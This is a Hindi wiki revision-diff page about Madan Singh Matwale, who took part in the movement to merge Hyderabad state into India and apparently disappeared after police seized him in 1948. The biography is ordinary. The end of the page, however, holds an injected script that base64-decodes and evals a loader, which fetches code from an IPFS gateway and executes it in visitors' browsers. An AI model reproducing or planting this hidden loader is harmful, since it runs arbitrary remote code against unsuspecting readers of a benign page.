मदनसिंह मतवाले: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 1: Line 1:
{{सूचना बक्सा स्वतन्त्रता सेनानी
|चित्र=Blankimage.png
|चित्र का नाम=मदनसिंह मतवाले
|पूरा नाम=मदनसिंह मतवाले
|अन्य नाम=
|जन्म=[[11 मार्च]], [[1925]]
|जन्म भूमि=[[हैदराबाद]], [[आन्ध्र प्रदेश]]
|मृत्यु=
|मृत्यु स्थान=
|मृत्यु कारण=
|अविभावक=
|पति/पत्नी=
|संतान=
|स्मारक=
|क़ब्र=
|नागरिकता=भारतीय
|प्रसिद्धि=स्वतंत्रता सेनानी
|धर्म=
|आंदोलन=
|जेल यात्रा=
|कार्य काल=
|विद्यालय=
|शिक्षा=
|पुरस्कार-उपाधि=
|विशेष योगदान=हैदराबाद रियासत को स्वाधीन [[भारत]] में मिलाने के लिए मदनसिंह मतवाले ने योगदान दिया था।
|संबंधित लेख=[[हैदराबाद]], [[भारतीय स्वतंत्रता आंदोलन]]
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=एक मकान पर [[तिरंगा]] फहराने के कारण पुलिस ने मदनसिंह को पकड़ लिया और संभवतः उन्हें मार डाला गया, क्योंकि इस घटना के पश्चात लोगों को उनका कुछ पता नहीं चला।
|बाहरी कड़ियाँ=
|अद्यतन=
}}
'''मदनसिंह मतवाले''' (जन्म- [[11 मार्च]], [[1925]], [[हैदराबाद]], [[आन्ध्र प्रदेश]]) हैदराबाद रियासत के साथ संघर्ष करने वाले प्रमुख व्यक्तियों में से थे। इन्होंने हैदराबाद राज्य को स्वाधीन [[भारत]] में मिलाने के चलाये जा रहे आन्दोलन में सक्रिय भाग लिया था।
'''मदनसिंह मतवाले''' (जन्म- [[11 मार्च]], [[1925]], [[हैदराबाद]], [[आन्ध्र प्रदेश]]) हैदराबाद रियासत के साथ संघर्ष करने वाले प्रमुख व्यक्तियों में से थे। इन्होंने हैदराबाद राज्य को स्वाधीन [[भारत]] में मिलाने के चलाये जा रहे आन्दोलन में सक्रिय भाग लिया था।



Revision as of 13:16, 5 March 2014

मदनसिंह मतवाले
पूरा नाम मदनसिंह मतवाले
जन्म 11 मार्च, 1925
जन्म भूमि हैदराबाद, आन्ध्र प्रदेश
नागरिकता भारतीय
प्रसिद्धि स्वतंत्रता सेनानी
विशेष योगदान हैदराबाद रियासत को स्वाधीन भारत में मिलाने के लिए मदनसिंह मतवाले ने योगदान दिया था।
संबंधित लेख हैदराबाद, भारतीय स्वतंत्रता आंदोलन
अन्य जानकारी एक मकान पर तिरंगा फहराने के कारण पुलिस ने मदनसिंह को पकड़ लिया और संभवतः उन्हें मार डाला गया, क्योंकि इस घटना के पश्चात लोगों को उनका कुछ पता नहीं चला।

मदनसिंह मतवाले (जन्म- 11 मार्च, 1925, हैदराबाद, आन्ध्र प्रदेश) हैदराबाद रियासत के साथ संघर्ष करने वाले प्रमुख व्यक्तियों में से थे। इन्होंने हैदराबाद राज्य को स्वाधीन भारत में मिलाने के चलाये जा रहे आन्दोलन में सक्रिय भाग लिया था।

  • मदनसिंह मतवाले सचमुच ही मतवाले थे। उन्हें अन्याय सहन करना नहीं आता था।
  • हैदराबाद रियासत के साथ उन्होंने पहला संघर्ष तब किया, जब आर्य समाज ने हैदराबाद के विरूद्ध आंदोलन चलाया। यह आंदोलन सफल हुआ था और निज़ाम हैदराबाद को झुकना पड़ा।
  • आन्दोलन की सफलता के पश्चात मदनसिंह मतवाले का हौसला बढ़ गया और वह उस आंदोलन में भी सम्मिलित हो गए, जो हैदराबाद राज्य को स्वाधीन भारत में मिलाने के लिए चलाया जा रहा था।
  • मदनसिंह मतवाले ने 14 अगस्त, 1948 को अपने मकान पर भारत का तिरंगा झंडा लहरा दिया। हैदराबाद की पुलिस ने बलपूर्वक वह झंडा उतारना चाहा, लेकिन मदनसिंह मतवाले ने संघर्ष किया।
  • पुलिस मदनसिंह मतवाले को पकड़कर ले गई और संभवतः उन्हें मार डाला गया, क्योंकि इस घटना के पश्चात लोगों को उनका कुछ पता नहीं चला।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. आन्ध्र प्रदेश के क्रांतिकारी (हिन्दी)। । अभिगमन तिथि: 18 अगस्त, 2013।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>